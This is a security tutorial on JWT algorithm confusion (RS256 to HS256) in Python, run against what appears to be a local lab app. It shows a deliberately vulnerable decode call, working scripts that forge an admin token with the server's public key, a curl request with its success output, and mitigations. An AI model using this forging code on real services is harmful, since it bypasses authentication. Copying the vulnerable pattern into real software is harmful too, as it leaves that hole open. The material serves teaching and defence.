JWT Algorithm Confusion (RS256 to HS256)
Asymmetric JWTs (RS256, ES256) are supposed to be safer than HMAC: the server signs with a private key and verifies with a public key, so the verification key can be published without letting anyone forge tokens. Algorithm confusion turns that property into the vulnerability. If a verifier accepts both an asymmetric and an HMAC algorithm and feeds the same key material into whichever one the token’s header requests, an attacker downgrades the token from RS256 to HS256 and signs it using the server’s public key as the HMAC secret. The server then verifies the attacker’s HMAC with that public key, which is public, so the attacker did not need any secret at all.
The root cause is the same one behind every JWT bypass: the verifier trusts the algorithm named in the token, and it treats one key as usable for two fundamentally different operations. For RS256 the public key is a verification input; for HS256 the key is a shared secret. Hand the public key to an HMAC verifier and it happily uses public, attacker-known bytes as the secret.
See Introduction to JSON Web Tokens in Python for the header/algorithm fields involved, and Forging JWTs with the none Algorithm for the closely related “trust the header” failure.
The vulnerable pattern
The bug appears when the accepted-algorithms list mixes asymmetric and symmetric algorithms and the same key variable is passed for both:
import jwt
with open("public.pem") as fh:
PUBLIC_KEY = fh.read()
def decode_token(token: str):
# Vulnerable: RS256 expects PUBLIC_KEY as a verification key, but HS256
# will use those same bytes as the HMAC secret.
return jwt.decode(token, PUBLIC_KEY, algorithms=["RS256", "HS256"])
Modern PyJWT tries to stop this, it raises if you hand a PEM-formatted asymmetric key to the HMAC path, but the vulnerability persists in older versions, in other languages’ libraries, and in any custom verifier that does not separate key types. The public key itself is rarely secret: it shows up in JWKS endpoints, /.well-known/, TLS certificates, or the app’s own documentation.
Forging the token
Obtain the server’s RSA public key (PEM), then sign a token with HS256 using that PEM string as the HMAC secret:
import jwt
with open("public.pem") as fh:
public_pem = fh.read()
forged = jwt.encode(
{"sub": "attacker", "role": "admin"},
key=public_pem, # the PUBLIC key, used as an HMAC secret
algorithm="HS256",
)
print(forged)
The header now says HS256. When the vulnerable verifier runs jwt.decode(token, PUBLIC_KEY, algorithms=["RS256","HS256"]), it sees HS256, uses PUBLIC_KEY as the HMAC secret, recomputes the same HMAC the attacker just did, and the signature matches. No private key, no secret, just the published public key.
Getting the exact public-key bytes right matters: the HMAC is over the precise PEM string (including header/footer lines and newlines) the server passes to the verifier. If the server loads a DER or a stripped key, match that encoding.
jwt_tool’s key-confusion mode automates trying these representations.
Why algorithm confusion matters from an offensive security perspective
I prize this attack because it forges asymmetric tokens with a key that is published on purpose. The team chose RS256 precisely so the verification key could be public, and that decision becomes the bypass: I downgrade the token to HS256 and sign it with the server’s public key as the HMAC secret. The verifier HMACs my token with that same public key and it matches. No private key, no secret, just bytes I read from a JWKS endpoint, /.well-known/, a TLS certificate, or the app’s own docs. The payoff is full forgery, arbitrary sub and role: admin, against a scheme whose owners believe their private key keeps them safe.
What makes this so insidious is that the public key is not a secret and “we use RS256” reads as a defense rather than the precondition for the attack. The flaw lives entirely in the verifier accepting two algorithm families against one key variable, so the private key can be locked down perfectly and the system still forges. It is the Forging JWTs with the none Algorithm “trust the header” failure applied to the algorithm field, with the extra twist that the attacker-known public key doubles as a signing oracle.
These are the tells I look for in PyJWT and python-jose code:
- A mixed accepted-algorithms list.
algorithms=["RS256","HS256"], the asymmetric and symmetric families accepted side by side. - One key variable passed for both paths. The same
PUBLIC_KEYhanded tojwt.decode, so HS256 will use it as the HMAC secret. - Older PyJWT or non-Python libraries. Modern PyJWT rejects a PEM on the HMAC path, but older versions and other ecosystems do not, and custom verifiers rarely separate key types.
- Algorithm chosen from the token, not the issuer. Key selection driven by
header["alg"]instead of the expected algorithm for that issuer.
The defender takeaway: a public verification key becomes a signing oracle the instant the verifier also accepts HS256 with it, so pin one algorithm whose type matches the key and keep verification keys and HMAC secrets in separate code paths.
Proof of exploitation
Run the lab app (PyFuLabs/fastapi-fu/fastapi-jwt-algo-confusion). The verifier accepts both RS256 and HS256 and feeds the same key material, the RSA public key PEM, into whichever algorithm the token names. The public key is not secret, so an attacker signs an HS256 token using the public key bytes as the HMAC secret:
import hmac, hashlib, base64, json
pem = open("public.pem").read() # the server's PUBLIC key, not a secret
b = lambda x: base64.urlsafe_b64encode(x).rstrip(b"=").decode()
h = b(json.dumps({"alg":"HS256","typ":"JWT"}, separators=(",",":")).encode())
p = b(json.dumps({"sub":"attacker","role":"admin"}, separators=(",",":")).encode())
sig = hmac.new(pem.encode(), f"{h}.{p}".encode(), hashlib.sha256).digest()
print(f"{h}.{p}.{b(sig)}") # forged admin token
curl -s http://pyfu.local/fastapi-fu/fastapi-jwt-algo-confusion/api/admin \
-H "Authorization: Bearer <forged-token>"
{"message":"welcome admin","claims":{"sub":"attacker","role":"admin"}}
The token verified because the server HMAC’d it with a key the attacker also holds. Pinning verification to RS256 alone, and never to a list that includes HS256, closes it.
Mitigation
Pin a single algorithm whose type matches the key, and never accept both families with one key:
# Secure: RS256 only; an HS256 token is rejected outright.
jwt.decode(token, PUBLIC_KEY, algorithms=["RS256"])
Keep verification keys and HMAC secrets in separate variables and separate code paths, upgrade PyJWT (which rejects asymmetric keys on the HMAC path), and never derive the algorithm from the token. If you genuinely support multiple algorithms, select the verification key by the expected algorithm for that issuer, not by what the token claims.
Tested on CPython 3.12.3 with PyJWT 2.x. The takeaway: algorithm confusion converts a public key into a signing oracle, so “we use RS256, the private key is safe” is not sufficient if the verifier also accepts HS256 with that key. Pin one algorithm, separate key types, and the attack disappears. The runnable lab is fastapi-fu/fastapi-jwt-algo-confusion.